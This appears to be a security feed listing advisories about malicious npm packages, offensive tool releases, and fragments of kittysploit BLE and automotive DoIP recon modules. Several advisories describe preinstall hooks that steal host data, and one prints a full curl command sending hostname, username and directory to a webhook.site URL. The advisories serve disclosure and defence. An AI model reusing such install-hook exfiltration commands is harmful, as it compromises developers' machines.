Malicious code in @nstrlabs/sdk (npm)

Source: amazon-inspector a0b1375de7b44594cd3760efb91cb94c8c8b7137322f4597114e314ce5e14e45 On npm install, package.json runs preinstall: node index.js || true, unconditionally executing index.js. The script collects host identity fields os.hostname, os.userInfo.username, dirname, process.cwd, and...

Malicious code in auth0.net (npm)

Source: amazon-inspector 299295a8f62b96e6336a60ce85d2212185bf0cf424cc548d8bca9f0b14ed85c1 On npm install, package.json's preinstall and preupdate/test hook runs nslookup bkxajsfkvlurhaoeotqbqf3fg2sitbxll.oast.fun. The destination oast.fun is the Project Discovery interactsh out-of-band callback...

Malicious code in vend-utilities (npm)

Source: amazon-inspector 89ed34c4d09a0f8bb373f141d18157203eb73efec9461434a7957dfe17ba72f1 package.json declares preinstall: node index.js, causing index.js to run automatically on npm install. The script collects installer host identity os.hostname, os.userInfo including uid/gid/shell/homedir,...

Malicious code in nic-datagov (npm)

Source: amazon-inspector 89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf package.json declares a preinstall script that runs curl --data-urlencode "info=$hostname && whoami && pwd" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov, sending the installer's...

Malicious code in metavu (npm)

Source: amazon-inspector fc05e6833390f96b1a53f5d1612e613436e5002673da2f7a8c1e8e9f9f41c525 package.json declares preinstall: node index.js, which fires automatically on npm install. index.js collects hostname, platform, architecture, home directory, username/uid/gid/shell, OS details, the output o...

Malicious code in @leviosa86com/leviosa86-test (npm)

Source: amazon-inspector 96264a8719e17bd8ec21d47213fe31dec87445e01ff312a1e46af5819e028979 Package @leviosa86com/[email protected] ships src/poc/index.js which shells out via childprocess.exec to collect host identifiers hostname, pwd, whoami and the installer's public IP curl...

Malicious code in library-explorer (npm)

Source: amazon-inspector 28b5db05b3bdfb9cc8b1af9759f05a3bc7a1b6a9c364b86831b93df78e9e2273 package.json declares preinstall: node index.js. On npm install, index.js collects installer host identity os.hostname, os.platform, os.arch, os.homedir, os.userInfo username/uid/gid/shell, CPU/memory and...

Malicious code in n8n-nodes-task-runner (npm)

Source: amazon-inspector 991093c97f0d954740c4b72a2e7725a501df211c94634979ebadc52652f2ebe8 The package impersonates the n8n task-runner subsystem but its shipped n8n node MyNode.js is a no-op stub whose execute returns . The real payload lives in index.js the package main, which runs a recon...

oxo v2.9.16

OXO Scan Orchestration Engine OXO is a security scanning framework built for modularity, scalability, and simplicity. OXO Engine combines specialized tools to work cohesively to find vulnerabilities and perform actions like recon, enumeration, and fingerprinting. Documentation Agents Store CLI...

s3dns v0.2.23

S3DNS s3dns is a lightweight DNS server that helps uncover cloud storage buckets AWS S3, Google Cloud Storage, and Azure Blob by resolving DNS requests, tracing CNAMEs, and matching known bucket URL patterns. It's a handy companion for pentesters , bug bounty hunters , and cloud security analysts...

Malicious code in n8n-nodes-task-runner (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 991093c97f0d954740c4b72a2e7725a501df211c94634979ebadc52652f2ebe8 The package impersonates the n8n task-runner subsystem but its shipped n8n node MyNode.js is a no-op stub whose execute returns . The real payload...

red-gsd

Red GSD v5.1 — Autonomous Red Team Agent Engine red-gsd...

oxo v2.9.8

OXO Scan Orchestration Engine OXO is a security scanning framework built for modularity, scalability, and simplicity. OXO Engine combines specialized tools to work cohesively to find vulnerabilities and perform actions like recon, enumeration, and fingerprinting. Documentation Agents Store CLI...

oxo v2.9.3

OXO Scan Orchestration Engine OXO is a security scanning framework built for modularity, scalability, and simplicity. OXO Engine combines specialized tools to work cohesively to find vulnerabilities and perform actions like recon, enumeration, and fingerprinting. Documentation Agents Store CLI...

BLE GATT Services

Enumerates GATT services exposed by a connected BLE peripheral !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — list GATT services on a connected peripheral.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin import json class ModulePost,...

DoIP Read DTCs

Reads Diagnostic Trouble Codes from an ECU over DoIP using UDS ReadDTCInformation 0x19 !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP DTC Read - Reads diagnostic trouble codes via UDS 0x19 over DoIP """ from kittysploit import from lib.protocols.doip.constants import UDSDTCREPORTBYSTATUSMASK...

BLE Read Characteristic

Reads a GATT characteristic value from a connected BLE peripheral !/usr/bin/env python3 -- coding: utf-8 -- """BLE manage — read a GATT characteristic value.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin from lib.protocols.ble.bleclient import...

BLE GATT Characteristics

Enumerates GATT characteristics UUID, handle, properties for a BLE session !/usr/bin/env python3 -- coding: utf-8 -- """BLE gather — list GATT characteristics and properties.""" from kittysploit import from lib.protocols.ble.blesessionmixin import BleSessionMixin import json class ModulePost,...

DoIP Read VIN

Reads the vehicle VIN over DoIP using UDS ReadDataByIdentifier DID 0xF190 !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP VIN Gather - Reads vehicle VIN via UDS ReadDataByIdentifier 0x22 / DID 0xF190 """ from kittysploit import from lib.protocols.doip.constants import UDSDIDVIN from...

DoIP ECU Discovery

Discovers responsive ECUs on a DoIP gateway by probing logical addresses with UDS TesterPresent 0x3E !/usr/bin/env python3 -- coding: utf-8 -- """ DoIP ECU Discovery - Probes logical addresses with UDS TesterPresent over DoIP """ from kittysploit import from lib.protocols.doip.constants import...